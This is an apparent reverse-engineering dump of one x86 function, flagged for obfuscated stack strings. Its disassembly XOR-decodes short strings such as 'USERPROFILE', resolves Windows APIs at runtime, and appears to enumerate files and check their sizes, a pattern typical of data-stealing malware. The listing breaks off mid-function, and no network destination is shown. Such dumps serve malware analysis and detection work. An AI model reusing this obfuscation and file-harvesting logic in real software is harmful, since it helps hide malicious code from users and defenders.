Function at 0x4173ef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d711
call fcn.0044d3f0
sub esp, 0x6d4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
and dword [ebp - 4], 0
push 0x40835c
lea ecx, [ebp - 0x1b0]
call fcn.0040fb41
mov dl, 0x5b
mov dword [ebp - 0x16c], 0x1e080e5b
mov dword [ebp - 0x168], 0x14090b09
mov dword [ebp - 0x164], 0x1e17121d
mov byte [ebp - 0x160], 0
lea esi, [ebp - 0x16c]
xor ecx, ecx
mov dword [ebp - 0x218], ecx
cmp ecx, 0xb
jae 0x41746e
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x218], ecx
mov dl, byte [ebp - 0x16c]
jmp 0x417450
mov byte [ebp - 0x160], 0
lea eax, [ebp - 0x16b]
push eax
call fcn.00431c1b
pop ecx
xor ecx, ecx
test eax, eax
je 0x417585
mov dl, 0x73
mov dword [ebp - 0xec], 0x16372f73
mov dword [ebp - 0xe8], 0x1c071800
mov word [ebp - 0xe4], 3
lea esi, [ebp - 0xec]
mov dword [ebp - 0x21c], ecx
cmp ecx, 8
jae 0x4174d5
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x21c], ecx
mov dl, byte [ebp - 0xec]
jmp 0x4174b7
mov byte [ebp - 0xe3], 0
mov dl, 0x4d
mov dword [ebp - 0x179], 0x81e184d
mov dword [ebp - 0x175], 0x21f1d1f
mov dword [ebp - 0x171], 0x801040b
mov byte [ebp - 0x16d], 0
lea esi, [ebp - 0x179]
xor ecx, ecx
mov dword [ebp - 0x220], ecx
cmp ecx, 0xb
jae 0x41752f
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x220], ecx
mov dl, byte [ebp - 0x179]
jmp 0x417511
mov byte [ebp - 0x16d], 0
lea eax, [ebp - 0xeb]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.00431c1b
pop ecx
push eax
lea ecx, [ebp - 0x3fc]
call fcn.0040fb41
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x3e4]
call fcn.0040fa99
lea ecx, [ebp - 0x3fc]
jmp 0x417688
mov dl, 0x52
mov dword [ebp - 0xf6], 0x37160e52
mov dword [ebp - 0xf2], 0x3d263921
mov word [ebp - 0xee], 0x22
lea esi, [ebp - 0xf6]
mov dword [ebp - 0x224], ecx
cmp ecx, 8
jae 0x4175ce
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x224], ecx
mov dl, byte [ebp - 0xf6]
jmp 0x4175b0
mov byte [ebp - 0xed], 0
mov dl, 0x2c
mov dword [ebp - 0x126], 0x70166f2c
mov dword [ebp - 0x122], 0x5e495f79
mov word [ebp - 0x11e], 0x705f
mov byte [ebp - 0x11c], 0
lea esi, [ebp - 0x126]
xor ecx, ecx
mov dword [ebp - 0x228], ecx
cmp ecx, 9
jae 0x417627
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x228], ecx
mov dl, byte [ebp - 0x126]
jmp 0x417609
mov byte [ebp - 0x11c], 0
lea eax, [ebp - 0xf5]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.00410c00
push eax
lea edx, [ebp - 0x125]
lea ecx, [ebp - 0x42c]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x414]
call fcn.0040fa99
lea ecx, [ebp - 0x42c]
call fcn.0040fa99
lea ecx, [ebp - 0x444]
call fcn.0040fa99
xor esi, esi
inc esi
mov dl, 0x6c
mov dword [ebp - 0x18], 0x1842466c
mov word [ebp - 0x14], 0x1814
mov byte [ebp - 0x12], 0
xor ecx, ecx
mov dword [ebp - 0x22c], ecx
lea eax, [ebp - 0x18]
cmp ecx, 5
jae 0x4176cc
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x18]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x22c], ecx
mov dl, byte [ebp - 0x18]
jmp 0x4176ab
mov byte [ebp - 0x12], 0
lea eax, [ebp - 0x17]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x2ac]
call fcn.0040fa99
mov dl, 0x66
mov dword [ebp - 0x1f], 0x2484c66
mov word [ebp - 0x1b], 0x509
mov byte [ebp - 0x19], 0
xor ecx, ecx
mov dword [ebp - 0x230], ecx
lea eax, [ebp - 0x1f]
cmp ecx, 5
jae 0x417741
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x1f]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x230], ecx
mov dl, byte [ebp - 0x1f]
jmp 0x417720
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x1e]
push eax
lea ecx, [ebp - 0x2c4]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x2c4]
call fcn.0040fa99
mov dl, 0x53
mov dword [ebp - 0x67], 0x377d7953
mov dword [ebp - 0x63], 0x2b303c
xor ecx, ecx
mov dword [ebp - 0x234], ecx
lea eax, [ebp - 0x67]
cmp ecx, 6
jae 0x4177b3
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x67]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x234], ecx
mov dl, byte [ebp - 0x67]
jmp 0x417792
mov byte [ebp - 0x60], 0
lea eax, [ebp - 0x66]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x2dc]
call fcn.0040fa99
mov dl, 0x5b
mov word [ebp - 0x26], 0x715b
push 0x75
pop eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x24], al
mov dword [ebp - 0x23], 0x3c3437
xor ecx, ecx
mov dword [ebp - 0x238], ecx
lea eax, [ebp - 0x26]
cmp ecx, 5
jae 0x41782d
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x26]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x238], ecx
mov dl, byte [ebp - 0x26]
jmp 0x41780c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0x2f4]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x2f4]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x2f4]
call fcn.0040fa99
mov dl, 0x20
mov dword [ebp - 0xc8], 0x65737520
mov dword [ebp - 0xc4], 0x6f727072
mov dword [ebp - 0xc0], 0x656c6966
mov byte [ebp - 0xbc], 0
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
lea eax, [ebp - 0xc8]
cmp ecx, 0xb
jae 0x4178bf
mov al, byte [ecx + eax + 1]
xor al, dl
lea edx, [ebp - 0xc8]
mov byte [ecx + edx + 1], al
inc ecx
mov dword [ebp - 0x23c], ecx
mov dl, byte [ebp - 0xc8]
jmp 0x417895
mov byte [ebp - 0xbc], 0
lea eax, [ebp - 0xc7]
push eax
call fcn.00431c1b
pop ecx
xor ecx, ecx
test eax, eax
je 0x4179e2
mov dl, 0x6c
mov dword [ebp - 0xd5], 0x293f396c
mov dword [ebp - 0xd1], 0x233e3c3e
mov dword [ebp - 0xcd], 0x2920252a
mov byte [ebp - 0xc9], cl
mov dword [ebp - 0x240], ecx
lea eax, [ebp - 0xd5]
cmp ecx, 0xb
jae 0x417933
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0xd5]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x240], ecx
mov dl, byte [ebp - 0xd5]
jmp 0x417909
mov byte [ebp - 0xc9], 0
mov dl, 0x28
mov dword [ebp - 0xa3], 0x476c7428
mov dword [ebp - 0x9f], 0x4744465f
mov dword [ebp - 0x9b], 0x5b4c49
xor ecx, ecx
mov dword [ebp - 0x244], ecx
lea eax, [ebp - 0xa3]
cmp ecx, 0xa
jae 0x41798c
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0xa3]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x244], ecx
mov dl, byte [ebp - 0xa3]
jmp 0x417962
mov byte [ebp - 0x98], 0
lea eax, [ebp - 0xa2]
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.00431c1b
pop ecx
push eax
lea ecx, [ebp - 0x474]
call fcn.0040fb41
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x45c]
call fcn.0040fa99
lea ecx, [ebp - 0x474]
jmp 0x417af2
mov dl, 0x4d
mov dword [ebp - 0x8c], 0x11770e4d
mov dword [ebp - 0x88], 0x3f283e18
mov word [ebp - 0x84], 0x113e
mov byte [ebp - 0x82], 0
mov dword [ebp - 0x248], ecx
lea eax, [ebp - 0x8c]
cmp ecx, 9
jae 0x417a38
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x8c]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x248], ecx
mov dl, byte [ebp - 0x8c]
jmp 0x417a0e
mov byte [ebp - 0x82], 0
mov dl, 0x1c
mov dword [ebp - 0xaf], 0x7358401c
mov dword [ebp - 0xab], 0x7370726b
mov dword [ebp - 0xa7], 0x6f787d
xor ecx, ecx
mov dword [ebp - 0x214], ecx
lea eax, [ebp - 0xaf]
cmp ecx, 0xa
jae 0x417a91
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0xaf]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x214], ecx
mov dl, byte [ebp - 0xaf]
jmp 0x417a67
mov byte [ebp - 0xa4], 0
lea eax, [ebp - 0xae]
push eax
lea eax, [ebp - 0x4bc]
push eax
call fcn.00410c00
push eax
lea edx, [ebp - 0x8b]
lea ecx, [ebp - 0x4a4]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x48c]
call fcn.0040fa99
lea ecx, [ebp - 0x4a4]
call fcn.0040fa99
lea ecx, [ebp - 0x4bc]
call fcn.0040fa99
mov dl, 0x2c
mov dword [ebp - 0x2d], 0x5802062c
mov word [ebp - 0x29], 0x5854
mov byte [ebp - 0x27], 0
xor ecx, ecx
mov dword [ebp - 0x24c], ecx
lea eax, [ebp - 0x2d]
cmp ecx, 5
jae 0x417b33
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x2d]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x24c], ecx
mov dl, byte [ebp - 0x2d]
jmp 0x417b12
mov byte [ebp - 0x27], 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x30c]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x30c]
call fcn.0040fa99
mov dl, 0x35
mov dword [ebp - 0x34], 0x511b1f35
mov word [ebp - 0x30], 0x565a
mov byte [ebp - 0x2e], 0
xor ecx, ecx
mov dword [ebp - 0x250], ecx
lea eax, [ebp - 0x34]
cmp ecx, 5
jae 0x417ba8
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x34]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x250], ecx
mov dl, byte [ebp - 0x34]
jmp 0x417b87
mov byte [ebp - 0x2e], 0
lea eax, [ebp - 0x33]
push eax
lea ecx, [ebp - 0x324]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x324]
call fcn.0040fa99
mov dl, 0x24
mov dword [ebp - 0x6f], 0x400a0e24
mov dword [ebp - 0x6b], 0x5c474b
xor ecx, ecx
mov dword [ebp - 0x254], ecx
lea eax, [ebp - 0x6f]
cmp ecx, 6
jae 0x417c1a
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x6f]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x254], ecx
mov dl, byte [ebp - 0x6f]
jmp 0x417bf9
mov byte [ebp - 0x68], 0
lea eax, [ebp - 0x6e]
push eax
lea ecx, [ebp - 0x33c]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x33c]
call fcn.0040fa99
mov dl, 0x63
mov dword [ebp - 0x3b], 0xf4d4963
mov word [ebp - 0x37], 0x40c
mov byte [ebp - 0x35], 0
xor ecx, ecx
mov dword [ebp - 0x258], ecx
lea eax, [ebp - 0x3b]
cmp ecx, 5
jae 0x417c8f
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x3b]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x258], ecx
mov dl, byte [ebp - 0x3b]
jmp 0x417c6e
mov byte [ebp - 0x35], 0
lea eax, [ebp - 0x3a]
push eax
lea ecx, [ebp - 0x354]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x354]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x354]
call fcn.0040fa99
push 0x78
pop edx
mov byte [ebp - 0xe2], dl
mov word [ebp - 0xe1], 0x2b2d
push 0x3d
pop eax
mov byte [ebp - 0xdf], al
mov dword [ebp - 0xde], 0x372a282a
mov word [ebp - 0xda], 0x313e
mov byte [ebp - 0xd8], 0x34
mov byte [ebp - 0xd7], al
mov byte [ebp - 0xd6], 0
xor ecx, ecx
mov dword [ebp - 0x25c], ecx
lea eax, [ebp - 0xe2]
cmp ecx, 0xb
jae 0x417d3c
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0xe2]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x25c], ecx
mov dl, byte [ebp - 0xe2]
jmp 0x417d12
mov byte [ebp - 0xd6], 0
lea eax, [ebp - 0xe1]
push eax
call fcn.00431c1b
pop ecx
xor ecx, ecx
test eax, eax
je 0x417e5e
mov byte [ebp - 0x103], 0x68
push 0x3d
pop eax
mov byte [ebp - 0x102], al
mov dword [ebp - 0x101], 0x383a2d3b
mov dword [ebp - 0xfd], 0x212e273a
mov word [ebp - 0xf9], 0x2d24
mov byte [ebp - 0xf7], cl
push 0x25
pop edx
mov byte [ebp - 0x81], dl
mov dword [ebp - 0x80], 0x464a6179
mov dword [ebp - 0x7c], 0x4b404850
mov word [ebp - 0x78], 0x5651
mov byte [ebp - 0x76], cl
mov dword [ebp - 0x260], ecx
lea eax, [ebp - 0x81]
cmp ecx, 0xa
jae 0x417ddd
mov al, byte [ecx + eax + 1]
xor al, dl
lea edx, [ebp - 0x81]
mov byte [ecx + edx + 1], al
inc ecx
mov dword [ebp - 0x260], ecx
mov dl, byte [ebp - 0x81]
jmp 0x417db3
mov byte [ebp - 0x76], 0
xor ecx, ecx
mov dword [ebp - 0x264], ecx
lea edx, [ebp - 0x80]
cmp ecx, 0xb
jae 0x417e0e
lea eax, [ebp - 0x103]
mov al, byte [eax + ecx + 1]
xor al, byte [ebp - 0x103]
lea edx, [ebp - 0x103]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x417de3
mov byte [ebp - 0xf7], 0
push edx
lea eax, [ebp - 0x102]
push eax
call fcn.00431c1b
pop ecx
push eax
lea ecx, [ebp - 0x4ec]
call fcn.0040fb41
mov edx, eax
lea ecx, [ebp - 0x4d4]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x4d4]
call fcn.0040fa99
lea ecx, [ebp - 0x4ec]
jmp 0x417f6e
mov dl, 0x5a
mov dword [ebp - 0xbb], 0x351e065a
mov dword [ebp - 0xb7], 0x3f372f39
mov dword [ebp - 0xb3], 0x292e34
mov dword [ebp - 0x1cc], ecx
lea eax, [ebp - 0xbb]
cmp ecx, 0xa
jae 0x417eae
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0xbb]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1cc], ecx
mov dl, byte [ebp - 0xbb]
jmp 0x417e84
mov byte [ebp - 0xb0], 0
mov dl, 0x71
mov dword [ebp - 0x97], 0x2d4b3271
mov dword [ebp - 0x93], 0x3140224
mov word [ebp - 0x8f], 0x2d02
mov byte [ebp - 0x8d], 0
xor ecx, ecx
mov dword [ebp - 0x1d0], ecx
lea eax, [ebp - 0x97]
cmp ecx, 9
jae 0x417f0d
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x97]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1d0], ecx
mov dl, byte [ebp - 0x97]
jmp 0x417ee3
mov byte [ebp - 0x8d], 0
lea eax, [ebp - 0xba]
push eax
lea eax, [ebp - 0x534]
push eax
call fcn.00410c00
push eax
lea edx, [ebp - 0x96]
lea ecx, [ebp - 0x51c]
call fcn.00410015
mov edx, eax
lea ecx, [ebp - 0x504]
call fcn.0040fd46
push eax
lea ecx, [ebp - 0x1b0]
call fcn.0040fabc
lea ecx, [ebp - 0x504]
call fcn.0040fa99
lea ecx, [ebp - 0x51c]
call fcn.0040fa99
lea ecx, [ebp - 0x534]
call fcn.0040fa99
mov dl, 0x3f
mov dword [ebp - 0x42], 0x4b11153f
mov word [ebp - 0x3e], 0x4b47
mov byte [ebp - 0x3c], 0
xor ecx, ecx
mov dword [ebp - 0x1d4], ecx
lea eax, [ebp - 0x42]
cmp ecx, 5
jae 0x417faf
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x42]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1d4], ecx
mov dl, byte [ebp - 0x42]
jmp 0x417f8e
mov byte [ebp - 0x3c], 0
lea eax, [ebp - 0x41]
push eax
lea ecx, [ebp - 0x36c]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x36c]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x36c]
call fcn.0040fa99
push 0x3d
pop edx
mov byte [ebp - 0x49], dl
mov dword [ebp - 0x48], 0x52591317
mov word [ebp - 0x44], 0x5e
xor ecx, ecx
mov dword [ebp - 0x1d8], ecx
lea eax, [ebp - 0x49]
cmp ecx, 5
jae 0x418024
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x49]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1d8], ecx
mov dl, byte [ebp - 0x49]
jmp 0x418003
mov byte [ebp - 0x43], 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x384]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x384]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x384]
call fcn.0040fa99
push 0x68
pop edx
mov byte [ebp - 0x5f], dl
mov dword [ebp - 0x5e], 0x70c4642
mov word [ebp - 0x5a], 0x100b
mov byte [ebp - 0x58], 0
xor ecx, ecx
mov dword [ebp - 0x1dc], ecx
lea eax, [ebp - 0x5f]
cmp ecx, 6
jae 0x41809d
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x5f]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1dc], ecx
mov dl, byte [ebp - 0x5f]
jmp 0x41807c
mov byte [ebp - 0x58], 0
lea eax, [ebp - 0x5e]
push eax
lea ecx, [ebp - 0x39c]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x39c]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x39c]
call fcn.0040fa99
mov dl, 0x59
mov dword [ebp - 0x50], 0x35777359
mov word [ebp - 0x4c], 0x3e36
mov byte [ebp - 0x4a], 0
xor ecx, ecx
mov dword [ebp - 0x1e0], ecx
lea eax, [ebp - 0x50]
cmp ecx, 5
jae 0x418112
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x50]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1e0], ecx
mov dl, byte [ebp - 0x50]
jmp 0x4180f1
mov byte [ebp - 0x4a], 0
lea eax, [ebp - 0x4f]
push eax
lea ecx, [ebp - 0x3b4]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x3b4]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x3b4]
call fcn.0040fa99
mov dl, 0x15
mov dword [ebp - 0x57], 0x673b3f15
mov word [ebp - 0x53], 0x6571
mov byte [ebp - 0x51], 0
xor ecx, ecx
mov dword [ebp - 0x1e4], ecx
lea eax, [ebp - 0x57]
cmp ecx, 5
jae 0x418187
mov al, byte [ecx + eax + 1]
xor al, dl
lea edx, [ebp - 0x57]
mov byte [ecx + edx + 1], al
inc ecx
mov dword [ebp - 0x1e4], ecx
mov dl, byte [ebp - 0x57]
jmp 0x418166
mov byte [ebp - 0x51], 0
lea eax, [ebp - 0x56]
push eax
lea ecx, [ebp - 0x3cc]
call fcn.0040fb41
push esi
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x3cc]
push eax
lea eax, [ebp - 0x1b0]
push eax
mov ecx, edi
call fcn.00411e16
lea ecx, [ebp - 0x3cc]
call fcn.0040fa99
push 0x37
pop edx
mov byte [ebp - 0x75], dl
mov dword [ebp - 0x74], 0x1d191d6b
mov byte [ebp - 0x70], 0
lea esi, [ebp - 0x75]
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
cmp ecx, 4
jae 0x4181f7
mov al, byte [ecx + esi + 1]
xor al, dl
mov byte [ecx + esi + 1], al
inc ecx
mov dword [ebp - 0x1e8], ecx
mov dl, byte [ebp - 0x75]
jmp 0x4181dc
mov byte [ebp - 0x70], 0
lea eax, [ebp - 0x74]
push eax
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x54c]
call fcn.0040fcf9
mov edx, eax
cmp dword [edx + 0x14], 0xf
jbe 0x418217
mov edx, dword [edx]
movaps xmm0, xmmword [0x4088f0]
movups xmmword [ebp - 0x274], xmm0
lea esi, [ebp - 0x274]
xor ecx, ecx
mov dword [ebp - 0x1ec], ecx
cmp ecx, 0xe
jae 0x418249
mov al, byte [ecx + esi + 1]
xor al, byte [ebp - 0x274]
mov byte [ecx + esi + 1], al
inc ecx
jmp 0x41822d
mov byte [ebp - 0x265], 0
mov dword [ebp - 0x187], 0x7103e75
mov dword [ebp - 0x183], 0x4619101b
mov dword [ebp - 0x17f], 0x19115b47
mov word [ebp - 0x17b], 0x19
lea esi, [ebp - 0x187]
xor ecx, ecx
mov dword [ebp - 0x1f0], ecx
cmp ecx, 0xc
jae 0x4182a7
mov al, byte [esi + ecx + 1]
xor al, byte [ebp - 0x18]
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1f0], ecx
mov al, byte [ebp - 0x187]
mov dword [ebp - 0x18], eax
jmp 0x418285
mov byte [ebp - 0x17a], 0
lea eax, [ebp - 0x6e0]
push eax
push edx
lea edx, [ebp - 0x273]
lea ecx, [ebp - 0x186]
call fcn.0040af96
call eax
mov esi, eax
lea ecx, [ebp - 0x54c]
call fcn.0040fa99
cmp esi, 0xffffffff
jne 0x4182ec
push 1
push dword [ebp + 8]
mov ecx, edi
call fcn.0040b2fd
jmp 0x418600
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x294]
call fcn.0040fb41
mov dl, 0x5e
mov dword [ebp - 0x134], 0x2c3b155e
mov dword [ebp - 0x130], 0x6d323b30
mov dword [ebp - 0x12c], 0x323a706c
mov word [ebp - 0x128], 0x32
xor ecx, ecx
mov dword [ebp - 0x1f4], ecx
cmp ecx, 0xc
jae 0x418353
mov al, byte [ebp + ecx - 0x133]
xor al, dl
mov byte [ebp + ecx - 0x133], al
inc ecx
mov dword [ebp - 0x1f4], ecx
mov dl, byte [ebp - 0x134]
jmp 0x41832f
mov byte [ebp - 0x127], 0
movups xmm0, xmmword [0x408b30]
movups xmmword [ebp - 0x1c6], xmm0
mov dword [ebp - 0x1b6], 0x172a1c0a
mov word [ebp - 0x1b2], 0x2e
xor ecx, ecx
mov dword [ebp - 0x1f8], ecx
cmp ecx, 0x14
jae 0x41839f
mov al, byte [ebp + ecx - 0x1c5]
xor al, byte [ebp - 0x1c6]
mov byte [ebp + ecx - 0x1c5], al
inc ecx
jmp 0x41837d
mov byte [ebp - 0x1b1], 0
lea eax, [ebp - 0x294]
cmp dword [ebp - 0x280], 0xf
cmova eax, dword [ebp - 0x294]
lea ecx, [ebp - 0x5a0]
push ecx
push 0
push eax
lea edx, [ebp - 0x1c5]
lea ecx, [ebp - 0x133]
call fcn.0040af96
call eax
test eax, eax
je 0x418513
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x278], ecx
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x27c], eax
push 0
push 0x400
push ecx
push eax
call fcn.0044b790
test edx, edx
jl 0x418513
jg 0x41841a
cmp eax, 0x226
jb 0x418513
mov dword [ebp - 0x142], 0x1f08266d
mov dword [ebp - 0x13e], 0x5e010803
mov dword [ebp - 0x13a], 0x109435f
mov word [ebp - 0x136], 1
mov dword [ebp - 0x110], 0x1118397d
mov dword [ebp - 0x10c], 0x3b180918
mov dword [ebp - 0x108], 0x3c181114
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x294]
push eax
push ecx
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x57c]
call fcn.0040fd77
mov edx, eax
lea ecx, [ebp - 0x564]
call fcn.0040ffcd
mov edx, eax
cmp dword [edx + 0x14], 0xf
jbe 0x418493
mov edx, dword [edx]
xor ecx, ecx
mov dword [ebp - 0x1fc], ecx
cmp ecx, 0xb
jae 0x4184b7
mov al, byte [ebp + ecx - 0x10f]
xor al, byte [ebp - 0x110]
mov byte [ebp + ecx - 0x10f], al
inc ecx
jmp 0x418495
mov byte [ebp - 0x104], 0
xor ecx, ecx
mov dword [ebp - 0x200], ecx
cmp ecx, 0xc
jae 0x4184e2
mov al, byte [ebp + ecx - 0x141]
xor al, byte [ebp - 0x142]
mov byte [ebp + ecx - 0x141], al
inc ecx
jmp 0x4184c0
mov byte [ebp - 0x135], 0
push edx
lea edx, [ebp - 0x10f]
lea ecx, [ebp - 0x141]
call fcn.0040af96
call eax
lea ecx, [ebp - 0x564]
call fcn.0040fa99
lea ecx, [ebp - 0x57c]
call fcn.0040fa99
lea ecx, [ebp - 0x294]
call fcn.0040fa99
mov dl, 0x2c
mov dword [ebp - 0x150], 0x5e49672c
mov dword [ebp - 0x14c], 0x1f404942
mov dword [ebp - 0x148], 0x4048021e
mov word [ebp - 0x144], 0x40
xor ecx, ecx
mov dword [ebp - 0x204], ecx
cmp ecx, 0xc
jae 0x418573
mov al, byte [ebp + ecx - 0x14f]
xor al, dl
mov byte [ebp + ecx - 0x14f], al
inc ecx
mov dword [ebp - 0x204], ecx
mov dl, byte [ebp - 0x150]
jmp 0x41854f
mov byte [ebp - 0x143], 0
mov dl, 0x2c
mov dword [ebp - 0x15f], 0x42456a2c
mov dword [ebp - 0x15b], 0x54496248
mov dword [ebp - 0x157], 0x40456a58
mov word [ebp - 0x153], 0x6d49
mov byte [ebp - 0x151], 0
xor ecx, ecx
mov dword [ebp - 0x208], ecx
cmp ecx, 0xd
jae 0x4185d6
mov al, byte [ebp + ecx - 0x15e]
xor al, dl
mov byte [ebp + ecx - 0x15e], al
inc ecx
mov dword [ebp - 0x208], ecx
mov dl, byte [ebp - 0x15f]
jmp 0x4185b2
mov byte [ebp - 0x151], 0
lea eax, [ebp - 0x6e0]
push eax
push esi
lea edx, [ebp - 0x15e]
lea ecx, [ebp - 0x14f]
call fcn.0040af96
call eax
test eax, eax
jne 0x4182ec
push 0x35
pop edx
mov byte [ebp - 0x11b], dl
mov dword [ebp - 0x11a], 0x515b5c73
mov dword [ebp - 0x116], 0x465a5976
mov word [ebp - 0x112], 0x50
lea edi, [ebp - 0x11b]
xor ecx, ecx
mov dword [ebp - 0x20c], ecx
cmp ecx, 9
jae 0x418652
